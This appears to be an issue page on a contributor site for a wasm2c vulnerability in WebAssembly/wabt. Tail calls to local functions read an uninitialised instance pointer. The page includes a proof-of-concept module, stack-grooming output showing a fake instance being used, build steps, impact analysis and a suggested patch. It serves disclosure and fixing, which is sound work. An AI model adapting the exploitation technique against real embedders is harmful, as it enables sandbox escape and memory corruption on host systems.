WebAssembly / WebAssembly/wabt
(CVE-2026-90648) vulnerability in wasm2c: tail call to a local function uses an uninitialised module instance pointer
Nobody has claimed this yet.
- Dominant language
- C++
- Stars
- 8.1k
- Forks
- 827
- Avg merge
- 4d 6h
- Merged PRs (30d)
- 18
Description
Shell PoC
PoC added for executing an arbitrary shell command on the host
https://github.com/trustsig-eu/wasm2c-tableflip
Summary
CWriter::Write(const ReturnCallExpr&) in src/c-writer.cc emits a tail-call
trampoline whose instance pointer slot is only assigned when the call target is an
import:
/* src/c-writer.cc:4344 */
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
Write("*instance_ptr = instance->",
GlobalName(ModuleFieldType::Import,
import_module_sym_map_.at(func.name)),
";", Newline());
}
DropTypes(num_params);
FinishReturnCall();
FinishReturnCall() then runs the trampoline loop
(while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }), and every
tail-callee begins with w2c_mod* instance = *instance_ptr;. When the target is a
local function, nothing ever writes that slot, so the callee adopts whatever the C
stack happened to contain and uses it as the module instance for globals, memory and
tables.
The declaration is uninitialised by construction:
/* src/c-writer.cc:3140 */
void CWriter::WriteTailCallStack() {
Write("void *instance_ptr_storage;", Newline());
Write("void **instance_ptr = &instance_ptr_storage;", Newline());
...
return_call_indirect is not affected: it always writes
*instance_ptr = <table>.data[i].module_instance;. Nested tail calls from inside a
tail-callee are not affected either, since in_tail_callee_ suppresses
WriteTailCallStack() and the incoming instance_ptr parameter is reused.
Trigger
A return_call whose target is
- a function defined in the same module (not an import), and
- a function that itself performs a tail call, so that
func.features_used.tailcallis set and wasm2c takes the trampoline path rather
than degrading to a plain call.
Module (poc/tailcall-uninit/poc.wat):
(module
(memory (export "mem") 1)
(global $g (export "g") (mut i32) (i32.const 0))
(func $c (result i32) global.get $g)
(func $b (result i32) return_call $c)
(func (export "a") (result i32) return_call $b))
Generated by the released 1.0.41 wasm2c --enable-tail-call:
{
void *instance_ptr_storage; /* never written */
void **instance_ptr = &instance_ptr_storage;
char tail_call_stack[1024];
wasm_rt_tailcallee_t next_storage;
wasm_rt_tailcallee_t *next = &next_storage;
next->fn = wasm_tailcall_w2c_poc_f1;
while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }
}
and
void wasm_tailcall_w2c_poc_f1(void **instance_ptr, void *tail_call_stack, wasm_rt_tailcallee_t *next) {
w2c_poc* instance = *instance_ptr; /* uninitialised */
...
Reproduction
Without any stack preparation the slot holds leftover data and the module faults:
[dbg] slot at 0xffffd9eeda78 holds 0x1
call trapped: 10
The value is not fixed, it is whatever the C stack holds. poc/tailcall-uninit/main.c
fills that stack region with a pointer to a second, attacker-chosen w2c_poc struct
before calling the export:
real instance = 0xaaaad5a800e8 (global = 0x11111111)
fake instance = 0xaaaad5a80128 (global = 0x00c0ffee)
groomed stack range 0xffffcaf51d50 .. 0xffffcaf61d48
a() = 0x00c0ffee -> READ THROUGH ATTACKER-SUPPLIED INSTANCE POINTER
The module returned the fake instance's global, so the generated code resolved
global.get against a pointer supplied through stack contents rather than against the
instance the embedder passed in.
Build:
wat2wasm --enable-tail-call poc.wat -o poc.wasm
wasm2c --enable-tail-call poc.wasm -o poc.c
clang -O1 -g -I wasm2c -I . poc.c main.c \
wasm2c/wasm-rt-impl.c wasm2c/wasm-rt-mem-impl.c \
wasm2c/wasm-rt-exceptions-impl.c -o poc -lm
./poc
Impact
The instance pointer is the base for everything the sandbox owns: instance->w2c_gN
for globals, (&instance->w2c_mem)->data for the linear memory base, and the table
structs. Controlling it means the generated code reads its memory base from a
location of the attacker's choosing, which is a read and write primitive over the
whole host address space.
The pointer comes from uninitialised stack memory. In this PoC the C driver stages the
value, which models an embedder whose stack contents an attacker can influence. Within
a pure guest-only threat model the guest still controls a large part of that stack
through its own earlier calls (each wasm2c function frame, spilled locals, and the
1 KiB tail_call_stack scratch buffer live in the same region), so treating the value
as attacker-influenced is the safe assumption. Even in the least favourable case the
result is a wild-pointer dereference from untrusted input.
CWE-457 (use of uninitialised variable) leading to CWE-824 / CWE-787.
Affected versions
Present since tail-call support landed in commit 6e350ee1 (#2272, 2023-10-24), first
released in 1.0.34. Confirmed with the released 1.0.41 wasm2c and 1.0.41 runtime,
and on current main. Requires --enable-tail-call; tail calls are a standardised
WebAssembly feature, not an experimental proposal.
Suggested fix
Write the instance pointer in the local-target case too:
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
Write("*instance_ptr = instance->",
GlobalName(ModuleFieldType::Import,
import_module_sym_map_.at(func.name)),
";", Newline());
} else {
Write("*instance_ptr = instance;", Newline());
}
Initialising instance_ptr_storage at its declaration in WriteTailCallStack() would
also remove the uninitialised read, but the assignment at the call site is the one that
makes the value correct.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in src/c-writer.cc at CWriter::Write(const ReturnCallExpr&) and WriteTailCallStack(), then reproduce the issue with poc/tailcall-uninit/poc.wat and its main.c driver. Verify the generated local-target trampoline supplies the real module instance and no longer reads attacker-controlled or uninitialised stack contents.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- cpp, wasm
- Domain
- compilers, security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 74/100